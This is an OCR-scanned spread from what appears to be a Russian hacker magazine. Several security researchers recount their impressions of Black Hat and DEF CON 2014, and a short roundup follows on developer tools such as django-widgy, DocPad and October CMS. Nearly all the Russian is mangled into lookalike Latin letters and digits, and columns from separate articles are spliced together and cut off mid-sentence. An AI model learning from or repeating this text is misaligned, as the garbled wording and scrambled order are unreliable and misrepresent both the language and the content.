3akpbITble BEYEPUHKN, Bnpoyem, Ha Black Hat
TOXe eCTb. 3akpbiTble MO-HACTOSALLEMY, CO CMu-
ckamMy U MnpurnaweHnsMu oT Ton-MeHeaXepoB
KOMMaHuin. I 8To camoe MHTepecHoe, paan 4ero
CTOUT BAMBATbCA B TYCOBKY. Ha Takux BevepuHKax
cobMparoTCa NIOAN N3 OAHOW MHOYCTPUN, KOTOPbLIM
MHTEPECHO NooObLLaTbCS, 3aBECTN HOBbIE NONEe3HblE
3HAKOMCTBa, OOMEHSITbCS OMbITOM. 1 BO MHOIMOM
Tepruiio Berac Tonbko pagu TakvMx BEHEPUHOK (Te,
KTO 6bIn B Jlac-Berace, normyT, 4TO 3TO He cap-
Ka3m. Peokuii 4enoBek He HaYHET UCMbITbIBATb pas-
OpaxeHune kK aToMy «[lucHeneHay Ans B3pOCHbIX»
nocne napbl OHel npebGbiBaHWS Tam, elwe Gonee
pPenKoOMY YeNOBEKY TaM NoHpaBuTcs). Kak Hu KpyTu,
a 6e30MacHNKN 13 KPYMHENLLINX KOMMaHuii TBOeW
WNHOYCTPUM TYCAT UMEHHO Ha Takux Be4epuHKax, 4a-
CTO BCeli KOMaHaOoN.

B-Tpetbux, Ha Black Hat MOXHO 1 HYXHO BbI-
cTynate. BHe 3aBMCMMOCTW OT TOro, kakue uenun
KTO npecnenyeT: npogartb cebsi, nonnMapuTbCs, no-
nenuTbcs onbliToM. Y Hac B Poccum ectb gocTtaToy-
HOe KonmyecTBo uccneposartenenn Ub, kak B BeH-
nopax, Tak u B cnyxotax 6e3onacHocty 60sbLnx
KOMMaHWn. 4acTto OHW He BMAAT CMbICNa TPaTUTb
CuUINbl Ha Noe3aKy 3a okeaH unm 609TCs, 4TO UX JO-
knap, OyaeT He MPUHSAT, Kak HeAOCTaTOYHO XapA-
KOPHBIN. [MaBHbIN CMbICN Ha caMOM Aefne NpocCT:

TOB

B3n0M, npotecT. Ho Ha DEF CON e3gaT He 3a go-
Knagamu — 370 BO3MOXHOCTb He crnelua BCTpe-
TUTbLCA C TeMU, KOro ymtaewsb B Twitter'e, cHoBa
YBUIETb TEX, C KEM U3 rofa B rof, nepecekaeLlbcs
Ha CTF’ax B pa3HbIX KOHUAax mupa. I na — ¢ temu,
KOro He norman Ha Black Hat.

[ne-to mexay aTMMu OBYyMS KOH(EepeHuMsamMm
npoxoaun BSides — Tako cnerka HeykoXuin KIoH
DEF CON’a, co cBoumM ryHamm, Ho 6e3 ovepenen.
B aTOM rogy Gbin CTPaHHbIA NPUHLMMN: KTO NEpBbI
NpoCHysncs, ToMy 1 6einax. BecnnatHo, npu atom
KynuTb 6eiax 3a AeHbrM BO3MOXHOCTU He Oblfio.
Ha poknagpl npuwiocb MATM HanNposiomM (NoBTO-
psATb He COBETY0). 34eCb, MOXOXe, B3NN BCEX,
KTO mpucnan 3assku, — Hanpumep, Aoknag 0 TOM,
Kak pa3BepHyTb Mersenne Twister, okasancs psaom
C AOKaAO0M Mpo KpUNToaHanua xewein ot Anekca
Buptokosa.

CtouT nn exatb B Berac? OgvH pa3 — TO4YHO.
CTouUT N1 exaTb CHOBA — KaxAplil peLuaeT cam.
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korga paboTaelb HA CBOEM pbiHKe, a Tem Gonee
«BHYTPW», B KPYMHON KOMMaHUN, O4€Hb NIErko «3a-
OpOH30BETL» W OTCTaTb OT peanbHOCTU. YTOObI
3TOro He NPOU30LLNO, HAA0 PErYNSAPHO «U3MEPSATb
CBOIO Temnepatypy» B MHAYCTpuM 6e30nacHOCTU
Ha KpyMNHeWnwen TycOBKe, KOTOPOW U ABNSETCH
Black Hat.

Ckaxy elle napy CnoB Npo OOHO Meponpwus-
Tue, KoTopoe s noceTun B pamkax Black Hat. 3to
Executive Summit, ogHogHeBHas KoHbepeHums
Mo npurnaweHnsm ans ton-meHenxepos Vb kpyn-
HbIX KOMMaHuii. @opmaT koHbepeHUMN NpeacTaB-
nsieT cobOoW KPyrible CTOJbI MO aKTyasbHbIM TEMaM,
Ha KOTOPbIX YHAaCTHUKW OENATCS CBOUM OMbITOM.
B KOHLE KaXaoWm ceccun BeayLmin Kpyrioro cTo-
na 3aunTbiBaeT Te3ncbl M3 obcyxaeHus. 3anper
Ha YNOMMWHAHWE KOHKPETHbIX MMEH W KOMMaHWi
3a pamkamy cammuTa npepnonaraet [LOBOJIbHO
OTKPOBEHHYIO auckyccuio. Kak npepcrtasuTens
defensive-cTopoHsbl cueHbl VB, 5 naeto nonobHoro
caMmmuTa ropsiio nogpepxmsaio. OgHako 310 Ho-
BO€E MePONpUATME, OPraHM3aTopbl 3KCNEPUMEHTH-
pyIoT ¢ pOPMaTOM, TaK 4YTO €CTb LUAHC, 4TO B Cle-
aylowem rogy oHo npoinget 6onee adpdekTnsHo,
C Y4ETOM BbICK@3aHHbIX y4aCTHUKaMV 3amMeyaHunin
Y NOXeNaHuin.
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elimnacb B KOHLE KOHLIOB HanucaTtb He-

60NbLLONK wWrite-up 0 NpoLeaLnx KoHbe-

peHumsx B Berace. K coxaneHnuio, B 370T

pas Ha goknaabl BH nonacte MHe He yaa-
NI0Cb, TaK 4TO peyb ByAeT natn no Gonbluei YacTn
o DEF CON’e. Kpome TOro, s gymaio, 4to nocTtoB
C pasbopamu JOKNaA0B B Gnvxaiiuve napy Hepaenb
Nno UHTEPHETY ByAeT ryNsiTb MHOMO, TaK YTO OrPaHn-
4yCb CBOMMMW BNEYaT/IEHUSIMU.

Cpasy xo4y oroBopuTbCsl, HECMOTPS Ha A0CTa-
TOYHO MPOTUBOPEYUBLIE OT3bIBbI O KOHbEpPEeHUUM,
ONs MeHs oHa OyaeT camoli No6uUMON, noxanyi.
W neno He B pacnvapeHHOCTU, a B OLLYLLEHUN TOW
camMoil HEeOTbLEMJIEMOIW Xakepckon CyOKyNbTypbl.
OTO TO camoe MecCTO, rae C/oBO «Ppuk» MOXET
ObiTb NMPUMEHEHO TOJNLKO K MPUIAUYHO OOETHIM
nioasM, Bbl BPSA NN 30€Cb HAAETe «rascTykoB»
N «NNOXaKoB». OTO MECTO, r4e XMUBET OLUyLleHne
cBobOoAbl, ApaiBa, YBAEYEHHOCTU NoOUMbIM [e-
JIOM, — W O4YeHb 300POBO CMOTPETb, Kak cTapLune
nokoneHua nepeparoT ero 6osiee Monoabim pebs-
Tam. 3[ecb Hanpoyb OTCYTCTBYET MOHsATUE dop-
MasibHOCTW, YTO ONSATb CYLLECTBEHHO oTanyaeT DC
OT BCEro, 410 A BUAena.

neyatieHnin GbiN0 NO-HACTOSILLLEMY MHO-

ro. Jeno B TOM, 4TO nocnegHue OecsTb

neT aTn gge KoHdepeHumn Obinn Moein

rony6oi meuyToii. B nogpocTkOBOM BO3-
pacTe OHW Ka3anncb HeLOCTUXUMbIM MAeanom —
MEeCTOM, rfe POXAaeTCs MAEONOorns camoro TepMum-
Ha «XaKWHI».

CBETJIAHA
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TAVIBOPOHCKAY

Mry, MAALLUWIA HAYYHbBIA COTPYAHUK

Loknagbl Ha DC — aT0 nnbo rnybokme TexHu-
yeckue npeseHTaumm, nubo oy co cneuaddekra-
MU — Bbl OAHO3HAYHO He HallaeTe 34eCb BEHO0PCKMX
TONKOB. O4EBMAHO, YTO OPraHM3aTopPbl U NPOrpamMm-
HbIi KOMUTET CTapaloTCa NOALAEPXMBATb 3a0aHHYIO
KOrga-To nnaHky. B otnnume ot apyrux KoHpepeH-
LuMiA, NoceLlaeMocTb [OKNafoB BCerga BbiCOKasl,
naxe B nocnegHuin aeHb. Ha moem poknage (a ato
6bla NocnegHUin TaiM-cnoT, B NOCNEeAHUIA AeHb —
BOCKpEeCeHbe, Koraa floam yxe no fomam pasnerta-
I0TCS1) 3anofiHeHa Oblna MOJSIOBMHA BHYLUUTENBHbBIX
pa3mepoB 3ana. M Takas xe cuTyauusi o BCeEM Tpe-
kam. MNpaepa, Ha MOV B3NS, AeN0 AaXe HE CTONbKO
B KOHTEHTE, CKOJIbKO B WCKYCCTBEHHO CO34aHHOM
aXmnoTaxe — rUraHTCKoe KONMYECTBO YYaCTHUKOB,
nosny4acoBble o4epeamn Ha aoknagbl. Kak-1o He 04eHb
3[10POBO YXOAMTbL U3 3ana, Koraa Tel MOTPATW Bpe-
Ms, 4ToObl Tyoa NonacTb, U HEMOHSATHO, MOJY4UTCS
NN NpOpBaTbCs Ha Cneayowmii Aoknag uin HeT.
B nio6om cnydae 3anucu OOKNaaoB, Npe3eHTauunm,
whitepaper’sl 1 gpyrine matepuanbl AOCTYMHbI NOYTA
cpasy nocre 3aBepLueHns KoHPepeHumn — Bcerga
MOXHO HaBepCTaTb YNyLLEHHOE.

Ewe DC — 3T0 0 pa3HbIX aKTUBHOCTSIX BHE ca-
MO nporpaMmbl U A0KIagoB. OTO BCEBO3MOX-
Hble MacTep-K/acchl, MPOXOASLUNE B pexunme
HOH-CTOM, MO NIOKMUKMHIY, B3/IOMY Xenesa un Kyye
pasHbIX ApYrMx MHTEPECHbIX Belein. B atom roay,
KaK NioMatb Xenesku, 0ObACHSNN [axe COBCEM
ManeHbkumM — Buaena peteit 6-12 net, ¢ Booay-
LUeB/IEHMEM YTO-TO KOBbIpsitOLMX. CnoBom, ecnu
HeT XenaHua MATWM Ha [oKnadbl — CKYYHO TOYHO
He Oy[eT, Bcerma MOXHO HalTu Yem 3aHAaTbea. d,
Hanpumep, yd4unacb 3amku BCKpbiBaTb. Kro-TO
B 9TO BPEMS HEpPBUPOBaN npeacrasutenen «Tec-
Nbl» NONbITKAMKW ee noxakatb. KTo-To He Bbinasun

BAHHOBV

WALLARM, CEO ULEAD SECURITY EXPERT

Korma xe s npuneten B Berac, Bce okasanocb
Kyoa 6onee nposavyHo. [eno B TOM, YTO MepBOWA
KoHdepeHumel npowen Black Hat. 3To o4yeHb xopo-
LLIO OPraHM30BaHHas 1 Joporas KoHdepeHums, Ko-
TOPYIO CNOXHO C 4eM-TO CpaBHMBaTb. MPOCTO O4eHb
MHOrO [ieHEer NPUMMEHSIIOTCS OY4EHb FPAMOTHO U MO-
JlydaeTcs To, YTO nosyqaeTcs. TexHuyeckast CTOpoHa
[0KNafoB, OTKPOBEHHO FOBOPSI, HE caMasi CUJIbHas.
BepHee ckasarb, TeEXHUYECKasi CTOPOHA, Kak ee Nnpu-
BbIK/IN MOHMMATb PYCCKOSI3bIYHbIE CCNefoBaTENN.

TunNWyHbBIN NONYNAPHLIN goknag Ha BH — ncro-
pus B3nioMa kakoro-Hubyab aBTomobuns 6e3 noa-
pPOGHLIX peTanei. B KoHUe 3axurarenbHOro pac-
ckasa wuccnefoBarteslb  OTCbUIAET  CTPAXAYLLMX
cnywareneii Ha 6GpeHaMpoBaHHbI - whitepaper
o6bemom 150-200 nwuctoB. [MonyyaeTcss TOHKMiIA
content-marketing, craBAWMA UENbID 3aN0XUTb
B rOJIOBY CiyLUaTenen npocTyio Mblcnb: «BoT Takas-
TO KOMMaHUsi UMEET B LUTATe KPYTbIX XakepoB, BOT
OHW MOJIOManu 4ero-To Tam».

Y MeHsi Obll TEXHUYECKMId [oknag, KOTopo-
My Obllo MecTo Ha J[JedkoHe (Mpo WHbEKUMU

13 30Hbl CTF. Ha koHdepeHuMn wmnkapHas BEH-
AopcKas 30Ha. OTO He CTeHAbI C NPeACTaBUTENIMN
KOMMaHW, pacckasbiBaloLWMMN O CBOUX PEeLLeHN-
AX, — 9T0 Oofblue HaNOMWHAET HEKYI0 SPMapky,
rae MoxHo 063aBECTUCH COOTBETCTBYIOLLEN nTe-
paTtypou, oTMbl4kamu, gesancamu, a NnoToOM Cyao-
POXHO AymaTb, Kak BCe 3TO cYacTbe BE3TU yepes
rpaHuuy. B obuiem, monoaupl pebsaTta, BCe O4eHb
KnaccHo caenanu.

Ecnn roBopuTb O MUMHycax, TO 3TO, CKopee,
He COBCEM MPOJYMaHHas OpraHusaumsi C TOYKM
3peHna O0KNaQ4yMKOB U OTHOCUTENIbHAA «3aKpbl-
TOCTb». [epBOe MeHs LWOKMPOBano ABa roga Ha-
3ap. Tel mpenocTaBieH cam cebe MpakTuyeckun
[0 MOMeHTa cBoero goknaga. Ecnu ects Bonpocsl/
npob6nembl/whatever, To nonpobyin cHayana Ko-
ro-Hubyab HaliTK, a NOTOM elle Nonpobyin HakTn
KOro-HMOyAb, KTO CMOXET Teb6e 3TO OObACHUTH.
3peck Hapo gepxatb B ronose ¢pasdy «Don’t be
shy to help yourself». Btopoe — 310 ckopee Hawa
npobnema. DC poctato4Ho ctapast KOHpepeHLms,
CO CBOMMW nereHgamu, Tpaguumamu. Torga xe,
[Ba ropga Hasapg, 3amevartenbHas CaHan Knapk
pacckasblBana, 4YTO 3TO Kak «MNpuexaTb LOMOW
K CTapbiM Apy3bsm». OTO BCE, KOHEYHO, KIaCCHO,
TONbKO Mbl Tam euwe yyxune. DEF CON ropasgo
MEHEee MVHTEPHALWOHANIbHOE MEeponpusaTue, 4Yem
MOXHO Obi10 6bl Nogymarthb. Mo kpaliHel Mepe ero
«3aKy/IMCHas» 4acTb.

Pesiomupys, xotenocb Obl ckasaTb, 4YTO 3TO
KOoHdepeHuMn, obs3aTeNibHble K nocelleHunto. by-
AET MHOTO KJTACCHbIX AOKIaAoB, NOAen, akTUBHO-
cteit. 9 Hagetock, 4To U BH, n DC nepecTtaHyT ObiTb
4eM-TO U3 paspsiga «MeyTbl» U «gaxe npobosaTb
He Byay» ONsa Halwmx pecepyepoB. Bce 06s3aTenbHO
nony4uTcs, 1 0o Bctpeyn B Berace! :)
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B memcached, ][ onybnukoBan aTy cTaTbio B Npo-
LOM HOMEpe OJHOBPEMEHHO C BbICTYMJeHueM
VMBaHa Ha Black Hat. — Mpum. pegakumn), HO no-
HSIM 91 9TO yKe Ha mecTe. Ho He paccTpowuncs — ToT
xe [aH KamuHckn aBa yaca Bewasn npo paHaoMbl
1 HE CTECHSICSA BCKPbIBATb MO3T :).

BH 6bin 04eHb 3HAYNMbBIM A1 MEHS eLLe 1 NOTO-
My, YTO 3TO NepBas KOHbepeHUUs, rae Mol NpeacTa-
BW/IV HALLIe peLLeHNe A1 3amTbl BE6-NPpUNoXeHnin
Wallarm. lMony4nnocb O4eHb yaa4yHo, 30HY BEHOO-
pOB noceLany o4eHb akTUBHO, YAAN0Ch NOMyYUTb
MHOIO OT3bIBOB, Nnokasarhb live-demo 1 obmMeHATbCA
NoNIe3HbIMY KOHTaKTamu.

JedkoH npoxoamn cpasy nocne, a BepHee, Ha-
Yasncsa BHaxJecT ¢ nocnegHum gHem BH. Bot roe
BOMIOTUANCb MOW MNPEACTaBNEHUS O KOHMEPEH-
umMsX Ons xakepoB. Bneuyatnuna 3oHa BOPKLLOMOB,
B KOTOPOW NMPOrpaMMmpoBaHne MUKPOKOHTPOIIe-
pOB COCEACTBYET C BbiOpUBAHMEM MPOKE30B Moce-
Tutenam. Benpopckas 3oHa [ledbkoHa pasutenbHO
otnmyanack ot BH. TyT He 6bino Hu CISCO, Hu MS,
HA Opyrux Ty30B KOprnopaTtvBHON 6e3omnacHo-
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CTK — 3aT0 OblIN HECKONBbKO Npou3BoauTeneli oT-
MbIYeK, COOPLLMKN BCEBO3MOXHbIX COIN Miner’os,
hak5 3akatvnn rpy3oBuk, HabuTbIN ragxetTamm TMna
pineapple, ubertooth, rubber ducky u npo4nmun
BKYCHOCTSIMUW, Ha Kpbllle KOTOPOro KpacoBascs
OrpOMHbI aHaHac. B 30He BeHOOPOB MOXHO 6bLIO
KynuTb BCe, 4TO OblNO NpeactaeneHo. Hy, npaktu-
4Yecku BCe.

Bbin elle npekpacHbI CTeHA, a1ekTpomMoobuns
Tesla. Kak okasanochb, 310 66171 TONbko show room,
a He KOHKYpPC Ha B3/10M. HO MOHSN 9 3TO TOJSIbKO
Ha nocnegHui AeHb KOHPepeHLmmn, Koraa B ove-
penHoi noaxon K MallmHe 6bin MU0 OCTAHOBIEH
opramu, KOTOpble MNPOBENUN Pa3bACHUTENbHYIO
Gecefly Ha TeMy TOro, YTO He cTouT nuxatb B USB

He, KaK, HaBepHoe, U MHOMMM MOUM
3HaKoMbIM, KOoHdepeHuun Black Hat
1 DEF CON ka3anucb 4em-To 0COBeH-
HbIM, Be€db MMEHHO Ha HWX uccnemo-
BaTenM CO BCEro mMupa CTpemMsiTcs NpeacTaBuTb
CBOW Haubonee 3HauyvMMble OOCTUXEHUs. 9 xoTen
nocetutb 06e 3TV KOHDEPEHUMM yXe O4eHb AaB-
HO, HO BCe Kak-TO He mnonyyanocb. M BOT B 3TOM
rogy s HakoHeu, goexan o Beraca. Mpuyem po-
exan B MPSIMOM CMbICfie: exasl Ha MalluHe ax
OT cnaBHoro ropoaa MoptneHaa wrata OperoH :).
Wtak, cHavyana 6bin BH, KOTOpbI nopasun MeHs
Ka4yeCTBOM [OKIaA0B W OTIMYHOW OpraHvsaum-
el meponpusTus. 37O, HaBepPHOe, eAMHCTBEHHas

Black Hat n DEF CON 2014

3TO MalLWHbI BCE, YTO MHE xo4eTcs. A Beab Obinn
KNaCCHbIe BEKTOPbI... 3aTO NO3HAKOMWUIINCH JINY-
HO c «hacker princess» — Kpuctun [Menpxer
(Kristin Paget), koTopas (a Beab ewie rop Hasapg,
6611 koTOpblN, kaxeTcs, Kris) celiuac asnsetca
HayaNbHUKOM NPOAYKTOBOK H6e3onacHocTu Tesla.
B o6uwemM — mMuno noobuannucbk, He NocnegHui
pas, Aymato, Tak kak aTa MallnHka MeHs 0eNCTBN-
TeNbHO 3auenuna kak obbekT ANs mnccrneposa-
HUN. HEMHOro Xaneto, YTO He yaanocb NPOBECTU
aTaky nony4yeHvus JamnoB NIOroB Ha dnewky, —
OHa Bcero-To Tpebosana o6MoTaTb BECb aBTOMO-
6unb ponbroit ans nzonaunmn GSM. Ham bl TO4HO
XBaTUNO Aypu Takoe caenatb, HO He B 3TOT pas,
K COXaneHuio.

AJIEKCAH/L

SECURITYRESEARCHER. INTEL

KOHdEpeHUMa U3 Tex, YTO MHEe yAanocb NoCeTUTb
(a noceTun g Ux 4OBOJILHO MHOIO 3@ NOCNEAHNE He-
CKOJNbKO N1IET), HA KOTOPOM B MporpamMMme s Bblaenmn
nnsa ceba 6onee 20% noknanos Ansa 0693aTesibHOro
noceteHns. KoHdepeHuns AencTBUTENbHO OYeHb
MacLuTtabHa, 1 ycneTb NOCMOTPETb BCE NPOCTO He-
BO3MOXHO. Beapb 30eChb KOHUEHTPaLMa 3HAKOMBbIX,
C KOTOPbIMM XO4YEeTCs MoobLATLC UM XOTH Obl
ycneTb NPOCTO NO30POBaTLCS, TakXe 3allKanvBa-
eT HeBeposATHO. OTAeNbHO, HaBepHOE, CTOUT 3ame-
TWUTb, 4TO Ha BH ecTb Tpaguumus — BeHZOPbLI yCTpa-
MBalOT pasfnnyHble BeyYepuHkW. onacTb Ha HKX
MOXHO TOJNIbKO MO NPUrNALIEHNSIM, KOTOpble 6O
pasgalTcs BCEM MNOAPSA 3a NPeaBapUTesibHYIO
pervcTpaumio, nMbo pacchinaloTcs Y3KOMy Kpyry
L. Ha aTnx cambix BE4EPUHKAaX MOXHO NPOCTO Ha-
cnaxpgarbcsi 6ecnnaTHbIM ankoronem, kak npaBuio
[0BOJIbHO XOPOLLEro YPoOBHS, @ MOXHO NoobLuaTb-
csl B HedopmanbHo 06CTaHOBKE C MHTEPECHbLIMU
NIOAbMU 1 3aBECTU MpaBuibHble 3HakomcTBa. Black
Hat — 370, noxanyii, camas macwTabHas 1 Ka-
YeCTBEHHAs KOHpEpeHuMs Ans uccnenoBaTenen,
Ha KOTOPOI MHE yaanoch NobbIBaTb.

Ho Benb cpady 3a BH npoxogut DEF CON!
Mo konnyecTBy noceTuTenen oH npeesocxoant BH,
HO OT 3TOro cTpagaeT opraHnadauus. [oatomy YacTb
nocetutenen BH pasbeadxaeTtcs cpasdy nocse KoH-
depeHunn, a camble CTONKNE OCTaOTCSA Ha NPOAOI-
XeHue GaHkeTa. Mybnuka aTnux AByX KOHdDEepeHunin
NOBOJSIbHO CULHO OTnn4YaeTcs, Tak kak DEF CON

BATAJINIA KAMJTIOK

BEAYLUWA AHTUBUPYCHbIN 9KCNEPT «JJABOPATOPUU KACNEPCKOr0»

lack Hat 6bin Becbma MacwTabHbIM

B 9TOM rofy, HO, K CHacTblO, OH MPOXOAUI

B 60/IbLLOM OTeNe 1 MecTa BCEM XBaTUIO,

Tak 4YTO MOXHO 6bIIO NonacTb Ha 60N
noknapg,. Xasnb, 4To nocnyLiaTe Noay4anoch He BCEX,
TaK Kak Oblno A0 AecsTU napannenbHbIX NOTOKOB.
3aTto MHe, Kak JOKIagyvKy, yaanocb noobarbes
C HECKONbKMMUM COTOBapMLLAMM B KOMHATE AJ19 NoA-
rOTOBKW K BbICTYMEHUSM W Y3HATb CYyTb HEKOTOPbIX
[0K1a[0B 3apaHee.

BesycnosHo, Black Hat — Hepewesas koHpe-
peHuMs, 13-3a 4Yero Tyda He nonajalT MHorve
nobuTenn 1 NPOCTo He3aBUCUMbIE UCCneLoBaTe-
NN, €CNIN OHU He ABNSAI0TCS AoKnaaymkamu. B atom
cMbicne Kyaa 6onee npuBnekatenbHbIM MOXET Mo-
kasaTbca DEF CON, roe uaput atmocdepa kubep-

naHka, pPeBOOLMOHHOM 60pbbbl 3a cBoboay CeTun
1 poctyn K nHdopmaumn. MNMpucyTcTBne Ha Takom
MeponpuaTuKn, roe cobupaloTcs OEecsTKU Thicsy
XakepoB, 3apskaeT. ymato, 4TO KaxaoMy xakepy
1N BCeM, KOMY UHTepecHa obnacTte nHdopmaum-
OHHO 6e30MacHOCTUN, CTOUT XOTb Pa3 B XM3HW Mo-
6biBatb Ha DEF CON. lMonacte Tyna nerde BCero,
€eCnu Tbl cAenaellb XOPOLUNA AoKNaa 1 ero NpumMyT
Ha Black Hat. OpraHusartopbl onnataTt Tebe nepe-
NET, NPOXMBaHME, U Thl €LE NONYyYULLb NpeMuasb-
Hble, KOTOPbIX XBaTUT, 4TOOLI ocTaTbest Ha DEF CON!

Pe3lomMupysi, XOTeNloCb OTMETUTb, YTO MPUSITHO
ObINO BUAETb AOKNaAbl PYCCKOrOBOPSLLMX UCCNENO-
Batenel kak Ha Black Hat, Tak n Ha DEF CON. {1 noce-
TUN BbICTYNNeHns Hukntol TapakaHosa, VisaHa Hosu-
koBa, CBeTnaHbl laiBopoHcko 1 VieaHa MeTposa. 3T
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Ha [edkoHe poknagpl WUCKIIOYUTENBHO Tex-
HUYeckne, cnamgpl CTpoXare W30MPOBaHbI
oT 6peHaoB B CTaHOAPTHOM LwabnoHe KoHdepeH-
umn. Cpagdy 6pocaeTcs B rfia3a, YTo ypOBeHb JokKNa-
[OB 3HAYNTESNIbHO BbIlLE, YeM OblBaeT y Hac, 0TOop
HaMHOr0 CTPOXE.

B obuwem, ecnu Tbl XO4eLlb NOYYBCTBOBATb AyX
xakepcTBa — Tebe To4yHO Ha [edkoH. Ho oTmeuy,
470, B OTAnuyme ot BH, [ledpkoH obbi4HO He onna-
4yMBaeT crnukepam Hu GuneTbl, HW MPOXMBaHME.
370, pasymeeTcsi, He AO/IXKHO OCTAHOBUTbL HACTOS-
LLMX XakepoB, Tak 4To 3apabarbiBali Ha bug bounty
3000+ ponnapoB (370, KCTaTu, BCero napa 6aros
CpefHeln pyku MO HbIHELWHWM LEeHaM) 1 Brnepeg,
He noxaneelub!

MATPOCOB

cTapaeTcs 6biTb HecopMasbHbIM BO BCEM, YTO MHO-
roa paxe Heckonbko padapaxaet. O DC cknagpiBa-
eTcsi BreyaTsieHne HeKOTOPOro OpraHM3oBaHHOIO
Xxaoca: MOpPON OYEHb CJIOXKHO HAUTKM paxe MecTo
noknaga, a ans Toro, 4tobbl Tyaa nonactb, HYXHO
OTCTOSATb TPUMALATUMUHYTHYIO o4epeab. Hy moxer,
3TO MHe TaK Be3J10, U S XOOWN TOJIbKO Ha Hanbonee
MHTEepecHble goknagpl... Ho aTa paBka y ABepen
MEHSA ,u,eﬁcmmeano ytomnsana, n s pewnn He CTo-
ATb B O4EPELSIX M MOTOM NMOCMOTPETL BCE HA BUAEO.
ATmMOcdepa Ha KOHDEePEHLMN MHE O4EHb Aaxe Mo-
HpaBunacb, s 6bl ckasas, 4TO 3TO CaMmblil Kubep-
NMaHKOBCKNIA MBEHT N3 BCEX, YTO A BUAen. TyT ecTb
BCE — OT JIOKNUKMHIa A0 3ana C NasibHbIMU CTaH-
UMSAMW, TOe Tbl MOXeLb MoAMbUUMPOBaTbL CBOM
Genpx. Beipx Ha JedkoHe BOOOLLE 3aC/yXMBaeT
OTAENbHOWN cTaTbn, 3TO, Kak npaewuno, nnara ¢ CPU
1N OTKPbLITO/ MPOLUMBKOM, KOTOPYK Tbl MOXELUb
MoanduruMpoBaTb Ha CBOE YCMOTpeHue. B 30He
BEHAO0POB Thbl HE Haaelwb GecrnnartHbiXx GyTOOSOK,
Kak Ha BH, HO 3aTO TyT MOXHO KynuTb Kydy nones-
HbIX Xesle30K U AeBaiNCcoB NSl Xaka BCEro v BCS.
3aechb uaput HedopManbHas, HECKONbKO paccna-
6neHHas atMmocdepa, 1 B 3TOM eCTb Kakoi-TO 0CO-
Oblli KONOPUT, KOTOPOrO HEe BCTPETULLIL Ha BH.

9 pekomMeHay BCeM Yntatensim X ecnuv He Bbl-
CTYyNUTb Ha 060MX 3TUX MEepPonpuUATUAX, Tak XOTS
6bl NoceTuUTb UX. Beab 310 MecTo obnagaeT nopa-
3UTENbHOW 3HEPreTuKoN, koTopas Jact Tebe CTu-
Myn K AanbHeliwel paboTe 1 nccnefoBaHusm.
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NOABOPKA MPUATHBIX MONE3HOCTEN 414 PASPABOTHIKOB

Mbl XXMBEM B NpPeKpacHOM MUpPeE, rae NPorpaMMmUCTbl HE CTECHAKOTCS BbiK1adblBaTb Pa3/INYHbIE BKYC-
HOCTM B NabNMK — HY>XHO NULLb 3HATb, rAe ux nckatb. loctatouHo nodbpoauTtk no GitHub n gpyrum
nnowaakam anas pasmMelleHns Koaa, U Tl Hanaelb peLlleHme ansa nodon npodnemsl. Jaxe ona TOwn,
KOTOpOn y Tebs 40 9TOro MOMEHTA 1 He ObIno.

INFO
Mwuccusi aTol pyGpUKn — No3HaKoMuTb TeBS C UHTEPECHBIMU U HaBUpaoLWUMK NONYASPHOCTL NpoekTaMu. Mbl He cTaBuM nepef coboli 3anady B nape ab3aues
[eTasnbHO PACCMOTPETb TOT UM MHOM UHCTPYMEHT — 3TO, Pa3yMEETCs, HepeasibHO, a NMNLb 06paLlaemM TBOE BHYMaHWNE Ha KJlo4eBble 0CO6eHHoCTH. 3a noapo6-

HOCTSIMM — BeJsikam Ha rnTxaob :).

https://github.com/fusionbox/django-widgy
HauHy, noxany#, ¢ Toro, 4to ata CMS HanucaHa
Ha Python n Django. B Widgy Ttebs ob6si3atensHo
nopaayet 06unve BCEBO3MOXHbIX MOAYEN 1 NPo-
cTota nopgknoyeHva Django Apps. Becb ¢yHK-
LuuoHan rpaMoTHO npeacTasneH B yoobHom drag
and drop uHTepdeice. Hy n 3a0ecb O4eHb KpPyTO
peanu3oBaH BU3yasibHbli PEAAKTOP, KOTOPbLIA Mo-
cTpoeH Ha ocHoBe CKEditor. 310 coBcem He Tu-
nuuHbli. WYSIWYG, nockonbky 6ofiblie Hanomm-
HaeT NOJIHOLEHHbIN site-builder ¢ KOHCTpyKTOPOM
cTpaHul. Pa3paboTyvku yaenunm MHOro BHUMa-
Hus APl n Hassanu ero django-widgy. C ux cnos,
django-widgy — 3TO reTeporeHHbIn ApeBOBUOHbIN
penaktop ana Django, rae kaxabin ysen — camo-
cToaTenbHas eanHuLa.

pip install django-widgy

https://github.com/bevry/docpad

Docpad — aTO cTatuyeckuii reHepaTop CanToB.
Docpad cHuUMaeT orpaHvyeHust Mexnay HOBU4Ka-
MU 1 npodeccnoHanammn n 3actaBnsieT B3MSHYTb
Ha BebO-pa3paboTKky COBCEM C OPYroro pakypca.
OyeHb KpyTO Habnoaatb, Kak TBON QPOHTEHA,
(Markdown, Jade, Coffee...) oxuBaeT Ha rnasax.
OrpoMHbIM MJIIOCOM SIBIIETCS MHOXECTBO Mnnaru-
HOB 1 NoapobHas AOKyMeHTauus, a To4Hee, Aaxe
psaa, BUOEOYPOKOB.

Bce anemMeHTapHO NpocTo — npuHUMn pabo-
Tbl OCHOBbIBAeTCs Ha B3aumopencrtsuu ¢arnnos
wabnoHa ¢ pacwmpeHnem .html.eco n daiinos
ONs peHpepuHra:

src/layouts/default.html.eco

<html>

<title><%= @document.title %>

| My Website</title>

</head>

<body>

<h1><%= @document.title %></h1l>

<%- @content %>

</body>

</html>

src/render/index.html

title: "Welcome!"

layout: "default"

isPage: true

<head>

<p>Welcome to My Website!</p>

WIDGY Feanes suprort oo Downton

@ python django 7 —
THE VERY LAST CMS . —
FRAMEWORK YOU WILL . am N
EVER NEED, LIKEEVER. s Qs |
DEMO INSTALL
T

Callout

django & Hancow

> (=

Figure

Versioning Pre-Built Skeletons

Language Agnostic

DOCPAD SETS YOU FREE

DocPad removes limitations and closes the gap between experts and

beginners. Designers and developers can create websites faster than ever

Simple Deploys

Powerful Plugins
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https://github.com/octobercms/october

MpocTo BenukonenHas CMS, OCHOBaHHasi
Ha ¢perimBopke Laravel, koTopas peanbHO Aaer
paspaboTymkaM BO3MOXHOCTb BbIpa3uTb Ceosl.
OueHb rMbkasa apxmuTekTypa, bonee 4yem copepxa-
TeNnbHas OOKYMEHTauusl, MOHATHas cucTema nna-
rnHoB, AJAX framework, KoTopblii no3sonsieT ab-
COJIIOTHO BECb NPOEKT caenarb AnHaMuyHbIM. Mo,
October HannucaHo HECKONbKO AECATKOB MAarnHoB,
1, Aymaio, Ux 4ncno ByaeT TONbKO pacTu, NOTOMY
